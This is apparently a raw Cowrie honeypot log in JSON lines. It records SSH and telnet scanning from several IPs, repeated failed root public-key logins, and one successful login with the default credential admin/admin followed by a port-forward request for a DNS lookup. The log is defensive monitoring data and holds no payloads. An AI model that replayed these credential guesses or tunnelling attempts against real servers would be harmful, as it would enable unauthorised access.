{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4c:6a:6e:04:59:94:b3:8c:b6:f6:f2:69:45:d2:a0:c8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOzOUZrfI44TRC1xXu9CaVBpLB/l/w8zLVB8QrsILKVqBrVq4K2av3YU2rNl/nwTlFyMgUS0TTEo1V5tGvlQ0Up7HlEfWJzTmAZkHt1xyZil3yVUIH6a7ay3QJwintvLbp3dOwt/xuFh/tmDroshXmFEr2Unjv6r/f+vxeIywMvXNygTNOM/UWU3AsEW5z8iNo1qV5bbioJz+S/g8Vi2moQWdh3haFgx8Nfvgx336ZikJWEe9UJX2uyKuGWWKMQ5UsVhQRJDv7J0LLk5a0wWu3rnYRG/UxR7mxFPS4kQuvQ5/MWpNeHq5zStD3bGwukt8/3qQUEbmIATSBzJ+DurHX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:05:40.708483Z","src_ip":"208.87.242.183","session":"632a13b2c7be","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e0:a8:ca:7c:1b:de:e1:cd:f7:3b:20:aa:6c:00:cf:26","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDfiYGPdXhs6fucGGTe/HOh7tIuZE4hq1HitJXIUsbXwxbYbmlu2kYYMBHw33uiQcB121NtwAE2u2ESbzFqbbKhY/reAjE5BoutehXCEDve0WpQ08/f2HjZJO9ZD7n+76FDrNQ2WHB1A/RcVduASQRvwzT+DoyiN0aFlodePQ9ejVTe6Vs6n2XFP1PjCkaFJJobyH6ZySOU0xtsJVivU5FcrJ3sRdzXmVtWQAAwanOKvx+FBdNuCvctbHrQQo9Zuv7U8LF/aZ7QzJH5yJkRLUj1j4P5svoZVb4i0aw5WkwJxJrmWIXOuBICdpNtHzbrbEycnO6g6BRboLvEXzDGaKxzkenQLFdWhx3OVkDAl8d/Z/LVdBeYz2MRVhv9qhCh4D+c/CPxFFu0cXBzIUpMJBkNs6ojPT5WiHSZggfKXgPHPIbkks6YQiN1gFAIOpUfK/mHB8AaaKqpLF1KATR5ojU9eStZtpnEcAx6JhVBL2xjdY/R+1uHUk6DvywZNLc09QjjqRlCqQfZstlthj6hw2+Dk+A+W6wfpeKPGW68Eat4PT32GIJaShebYAsm3tzsMWK3hSUI0g/WY4RlW+kaW8PaRH0s04qIE33yZ24NSDsPa+vQti0sU+x4WCtK8Th3oWy8Csn2lExnOZKGXveTmd/X67PV5r1gepWerwTL6ZWa5w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e0:a8:ca:7c:1b:de:e1:cd:f7:3b:20:aa:6c:00:cf:26","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:05:40.792680Z","src_ip":"208.87.242.183","session":"632a13b2c7be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e0:a8:ca:7c:1b:de:e1:cd:f7:3b:20:aa:6c:00:cf:26","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDfiYGPdXhs6fucGGTe/HOh7tIuZE4hq1HitJXIUsbXwxbYbmlu2kYYMBHw33uiQcB121NtwAE2u2ESbzFqbbKhY/reAjE5BoutehXCEDve0WpQ08/f2HjZJO9ZD7n+76FDrNQ2WHB1A/RcVduASQRvwzT+DoyiN0aFlodePQ9ejVTe6Vs6n2XFP1PjCkaFJJobyH6ZySOU0xtsJVivU5FcrJ3sRdzXmVtWQAAwanOKvx+FBdNuCvctbHrQQo9Zuv7U8LF/aZ7QzJH5yJkRLUj1j4P5svoZVb4i0aw5WkwJxJrmWIXOuBICdpNtHzbrbEycnO6g6BRboLvEXzDGaKxzkenQLFdWhx3OVkDAl8d/Z/LVdBeYz2MRVhv9qhCh4D+c/CPxFFu0cXBzIUpMJBkNs6ojPT5WiHSZggfKXgPHPIbkks6YQiN1gFAIOpUfK/mHB8AaaKqpLF1KATR5ojU9eStZtpnEcAx6JhVBL2xjdY/R+1uHUk6DvywZNLc09QjjqRlCqQfZstlthj6hw2+Dk+A+W6wfpeKPGW68Eat4PT32GIJaShebYAsm3tzsMWK3hSUI0g/WY4RlW+kaW8PaRH0s04qIE33yZ24NSDsPa+vQti0sU+x4WCtK8Th3oWy8Csn2lExnOZKGXveTmd/X67PV5r1gepWerwTL6ZWa5w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:05:40.798630Z","src_ip":"208.87.242.183","session":"632a13b2c7be","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cf:a8:84:9d:17:77:5a:c5:76:d3:e3:50:c2:b4:a2:6d","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOgTKWADEhm2t2WmbmsV5dRzbLSwELaKVegWyGEEKEFc","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint cf:a8:84:9d:17:77:5a:c5:76:d3:e3:50:c2:b4:a2:6d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:05:40.871078Z","src_ip":"208.87.242.183","session":"632a13b2c7be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cf:a8:84:9d:17:77:5a:c5:76:d3:e3:50:c2:b4:a2:6d","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOgTKWADEhm2t2WmbmsV5dRzbLSwELaKVegWyGEEKEFc","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:05:40.878261Z","src_ip":"208.87.242.183","session":"632a13b2c7be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:05:40.948855Z","src_ip":"208.87.242.183","session":"632a13b2c7be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.02204060554504,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:06:08.762079Z","src_ip":"31.134.20.206","session":"6964e7a7dd3d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.134.20.206","src_port":34976,"dst_ip":"159.203.135.109","dst_port":23,"session":"a04bef95a8d1","protocol":"telnet","message":"New connection: 31.134.20.206:34976 (159.203.135.109:23) [session: a04bef95a8d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:06:10.442998Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":65024,"dst_ip":"10.17.0.5","dst_port":22,"session":"75d09ba264ef","protocol":"ssh","message":"New connection: 87.251.64.176:65024 (10.17.0.5:22) [session: 75d09ba264ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:07:01.417695Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:07:01.427023Z","src_ip":"87.251.64.176","session":"75d09ba264ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:07:01.527331Z","src_ip":"87.251.64.176","session":"75d09ba264ef","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:07:01.822229Z","src_ip":"87.251.64.176","session":"75d09ba264ef","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:07:01.926129Z","session":"75d09ba264ef","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:07:02.024960Z","src_ip":"87.251.64.176","session":"75d09ba264ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:07:02.124990Z","src_ip":"87.251.64.176","session":"75d09ba264ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.02360367774963,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:08:10.466457Z","src_ip":"31.134.20.206","session":"a04bef95a8d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.134.20.206","src_port":44028,"dst_ip":"159.203.135.109","dst_port":23,"session":"873e715b7628","protocol":"telnet","message":"New connection: 31.134.20.206:44028 (159.203.135.109:23) [session: 873e715b7628]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:08:11.415045Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.68.103.106","src_port":35356,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1a4f17e3c06","protocol":"ssh","message":"New connection: 51.68.103.106:35356 (10.17.0.5:22) [session: a1a4f17e3c06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:08:48.373492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:08:48.377345Z","src_ip":"51.68.103.106","session":"a1a4f17e3c06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:08:48.458112Z","src_ip":"51.68.103.106","session":"a1a4f17e3c06","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"76:ed:3b:3f:db:65:11:9c:52:04:1d:25:75:a3:a8:81","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDA8QtaMMgNUYDIJfrmsNRtqU7viDADbU2/zdiFRje1Dky17FdoiWJeIkg6tBhQjM5cUD6sB/R0iif0aPZbvL7ZoLNG8rEWgRMH2G7Rn7NWGB7RmdT4aK5YrkNU0jMU69ospXJhm5E7oLZleiiLQVqRiXeOHfCvLnTxcgbMqA6TrAr2jj+Dxd+0JKJvq1UDeEJSslCStmmGGqHIUMPByMg9McZeoIboapxxuSoGT+9Dm8TT1rd0K8iAWcX2lNCFS7FkqN0WBlPcXjciq9+/Xu5kFh//Yx+mfOYczvPooWRF8E1K0BQBLgOPpQnlZWz7SHC5gaQC+gxtGgdUKlo9pKtP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 76:ed:3b:3f:db:65:11:9c:52:04:1d:25:75:a3:a8:81","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:08:48.844214Z","src_ip":"51.68.103.106","session":"a1a4f17e3c06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"76:ed:3b:3f:db:65:11:9c:52:04:1d:25:75:a3:a8:81","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDA8QtaMMgNUYDIJfrmsNRtqU7viDADbU2/zdiFRje1Dky17FdoiWJeIkg6tBhQjM5cUD6sB/R0iif0aPZbvL7ZoLNG8rEWgRMH2G7Rn7NWGB7RmdT4aK5YrkNU0jMU69ospXJhm5E7oLZleiiLQVqRiXeOHfCvLnTxcgbMqA6TrAr2jj+Dxd+0JKJvq1UDeEJSslCStmmGGqHIUMPByMg9McZeoIboapxxuSoGT+9Dm8TT1rd0K8iAWcX2lNCFS7FkqN0WBlPcXjciq9+/Xu5kFh//Yx+mfOYczvPooWRF8E1K0BQBLgOPpQnlZWz7SHC5gaQC+gxtGgdUKlo9pKtP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:08:48.847927Z","src_ip":"51.68.103.106","session":"a1a4f17e3c06","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1f:a1:30:8b:09:e5:62:69:85:f8:ef:c5:cc:28:fb:ae","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDRe0acEIQW3F6Az6k5G+Ma7u0/ZoMpxx3R+/pfxGBnhbQGaYiW/DyNjkoOXEg8Zq4xVB+yx5d4lbl2JPKaTtNsF1v+mo7CNWqtPwH2xqBng9CqPKSc2PcwIITUJc7PBAD6li9MbipadjkHSlMGwe7DYYjWMSFemD1FkLpnH3EX0ZzqsVoZAFFA0u3WPmwOAao/fh4QSCj0zLco5WLwtfh86lxZV0k8akBsJQ2lIsLbFC6MK6RfSt2WnHMAW2I1+sbONeM8ZBxUwdWHAdM2TQF6nQfcc/UKdAS2S8QF/euKX7fU15gVGUEW1rGkn/HyTvwg3r8JKNBBEg7omE0PMYleffOql5iNRrHO0Gz0TIyizFF3nqsM3x1LVTofjyYnk3LKqlaPNACnJMBMU6ItPBF56tJxH+HCSOPTzLIISde0wFIZVoWaNkMbl61SkAlvAcRDBtyVaU0GWNeLo0tVOc2Z0tZjkwmhKOx/2F8SlXXYSomFAjRtpjsub/nX4IeWhqWQmHGJZqOf83T9n991qFmrxd8xeoFHzrcff9R7o8jSuapYD67bXdvv4bo1N0Yz9Zwa9sWxn1vC4484jrvse2UlgtQ9C/o0PDV20klZ1y1nJeKYFZ2CDV81OCSwMPnnesMphrLXZGV+pdTjKwoClveVA5ojTAVbjaGMxhCOaHweqw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1f:a1:30:8b:09:e5:62:69:85:f8:ef:c5:cc:28:fb:ae","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:08:48.930342Z","src_ip":"51.68.103.106","session":"a1a4f17e3c06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1f:a1:30:8b:09:e5:62:69:85:f8:ef:c5:cc:28:fb:ae","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDRe0acEIQW3F6Az6k5G+Ma7u0/ZoMpxx3R+/pfxGBnhbQGaYiW/DyNjkoOXEg8Zq4xVB+yx5d4lbl2JPKaTtNsF1v+mo7CNWqtPwH2xqBng9CqPKSc2PcwIITUJc7PBAD6li9MbipadjkHSlMGwe7DYYjWMSFemD1FkLpnH3EX0ZzqsVoZAFFA0u3WPmwOAao/fh4QSCj0zLco5WLwtfh86lxZV0k8akBsJQ2lIsLbFC6MK6RfSt2WnHMAW2I1+sbONeM8ZBxUwdWHAdM2TQF6nQfcc/UKdAS2S8QF/euKX7fU15gVGUEW1rGkn/HyTvwg3r8JKNBBEg7omE0PMYleffOql5iNRrHO0Gz0TIyizFF3nqsM3x1LVTofjyYnk3LKqlaPNACnJMBMU6ItPBF56tJxH+HCSOPTzLIISde0wFIZVoWaNkMbl61SkAlvAcRDBtyVaU0GWNeLo0tVOc2Z0tZjkwmhKOx/2F8SlXXYSomFAjRtpjsub/nX4IeWhqWQmHGJZqOf83T9n991qFmrxd8xeoFHzrcff9R7o8jSuapYD67bXdvv4bo1N0Yz9Zwa9sWxn1vC4484jrvse2UlgtQ9C/o0PDV20klZ1y1nJeKYFZ2CDV81OCSwMPnnesMphrLXZGV+pdTjKwoClveVA5ojTAVbjaGMxhCOaHweqw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:08:48.934060Z","src_ip":"51.68.103.106","session":"a1a4f17e3c06","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"73:3b:c7:67:77:52:f1:ae:f7:9c:c4:8d:d8:ab:fd:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHZJ27f1HqxzsFo9fxyPYDRtLfDCqbuG+mqDezwxSlM+S8IpzUndUe/iSO/BpSW7qSpaODrZAVP7lVQ9S8QeIiCxGYU+1xXYt4JRe119XKYDRoh7/RbKA+/X0CNDL2qqBToryWerDMf4qBcJ8th8QV/79G9KpVCxd0ULhzeddttUiQiXg16J+bF6DKQl/1yA5WMzru4Zx00SN+rwnzfhfUePM10+ryIiJqLbeqoFBuJWBAHi2uX1pvMFq+ZrSThCETpwheBeDRMwtoy1PP2SJqzTnJIoWU7GkJJKQ4mowLbFwy6trrvp0E1A0pl/9akn49uIetbPuHrfxHLNS0aGIV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 73:3b:c7:67:77:52:f1:ae:f7:9c:c4:8d:d8:ab:fd:64","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:08:49.016258Z","src_ip":"51.68.103.106","session":"a1a4f17e3c06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"73:3b:c7:67:77:52:f1:ae:f7:9c:c4:8d:d8:ab:fd:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHZJ27f1HqxzsFo9fxyPYDRtLfDCqbuG+mqDezwxSlM+S8IpzUndUe/iSO/BpSW7qSpaODrZAVP7lVQ9S8QeIiCxGYU+1xXYt4JRe119XKYDRoh7/RbKA+/X0CNDL2qqBToryWerDMf4qBcJ8th8QV/79G9KpVCxd0ULhzeddttUiQiXg16J+bF6DKQl/1yA5WMzru4Zx00SN+rwnzfhfUePM10+ryIiJqLbeqoFBuJWBAHi2uX1pvMFq+ZrSThCETpwheBeDRMwtoy1PP2SJqzTnJIoWU7GkJJKQ4mowLbFwy6trrvp0E1A0pl/9akn49uIetbPuHrfxHLNS0aGIV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:08:49.020530Z","src_ip":"51.68.103.106","session":"a1a4f17e3c06","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"56:d4:c5:7b:48:74:c9:ff:71:7e:52:94:39:d4:4f:37","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDij0QRyA5fvvibQlCkxCJcwb/OWBDrbVQlPH4GP1QAto9dwcQppV6LGNGf7Jw+MAZfEGs+JKsel8MjsADgoTbzndqhfJCBAv4HPhmhSwji9cfwaY9wqqgyMaZLwpgIO1Cto8Ao1wyToGJ2NWaT5JZA3bcJEIzp0FBDBqql/Oa03ikDPegNmP09sHXE9u7Wq6iOy1ieQrgW5okfC3fArf5W6UtXhiMufGjFwb0tuPeY7bLAunbmDx7tjsPWaSIR6EkgyV4ufbkBjKIx5fl0UZpvhv1C74bRqtOD5X+Xq29MxJ7sdG6q8UMXfX6SIIKvWk4jae0Kj/bF8W1t0ngd3tT9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 56:d4:c5:7b:48:74:c9:ff:71:7e:52:94:39:d4:4f:37","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:08:49.106215Z","src_ip":"51.68.103.106","session":"a1a4f17e3c06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"56:d4:c5:7b:48:74:c9:ff:71:7e:52:94:39:d4:4f:37","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDij0QRyA5fvvibQlCkxCJcwb/OWBDrbVQlPH4GP1QAto9dwcQppV6LGNGf7Jw+MAZfEGs+JKsel8MjsADgoTbzndqhfJCBAv4HPhmhSwji9cfwaY9wqqgyMaZLwpgIO1Cto8Ao1wyToGJ2NWaT5JZA3bcJEIzp0FBDBqql/Oa03ikDPegNmP09sHXE9u7Wq6iOy1ieQrgW5okfC3fArf5W6UtXhiMufGjFwb0tuPeY7bLAunbmDx7tjsPWaSIR6EkgyV4ufbkBjKIx5fl0UZpvhv1C74bRqtOD5X+Xq29MxJ7sdG6q8UMXfX6SIIKvWk4jae0Kj/bF8W1t0ngd3tT9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:08:49.110046Z","src_ip":"51.68.103.106","session":"a1a4f17e3c06","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c0:ce:7c:cf:c2:45:69:1f:be:6e:6f:2b:f2:64:e2:1d","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINyMfHREPyp+6Lov/R6YPHOj8GGC76Cgl7v21J5AY1CS","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint c0:ce:7c:cf:c2:45:69:1f:be:6e:6f:2b:f2:64:e2:1d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:08:49.192863Z","src_ip":"51.68.103.106","session":"a1a4f17e3c06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c0:ce:7c:cf:c2:45:69:1f:be:6e:6f:2b:f2:64:e2:1d","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINyMfHREPyp+6Lov/R6YPHOj8GGC76Cgl7v21J5AY1CS","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:08:49.197012Z","src_ip":"51.68.103.106","session":"a1a4f17e3c06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:08:49.279755Z","src_ip":"51.68.103.106","session":"a1a4f17e3c06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.05402159690857,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:10:11.468949Z","src_ip":"31.134.20.206","session":"873e715b7628","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":45744,"dst_ip":"10.17.0.5","dst_port":22,"session":"c1da690ab771","protocol":"ssh","message":"New connection: 87.251.64.176:45744 (10.17.0.5:22) [session: c1da690ab771]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T11:12:04.129827Z"}
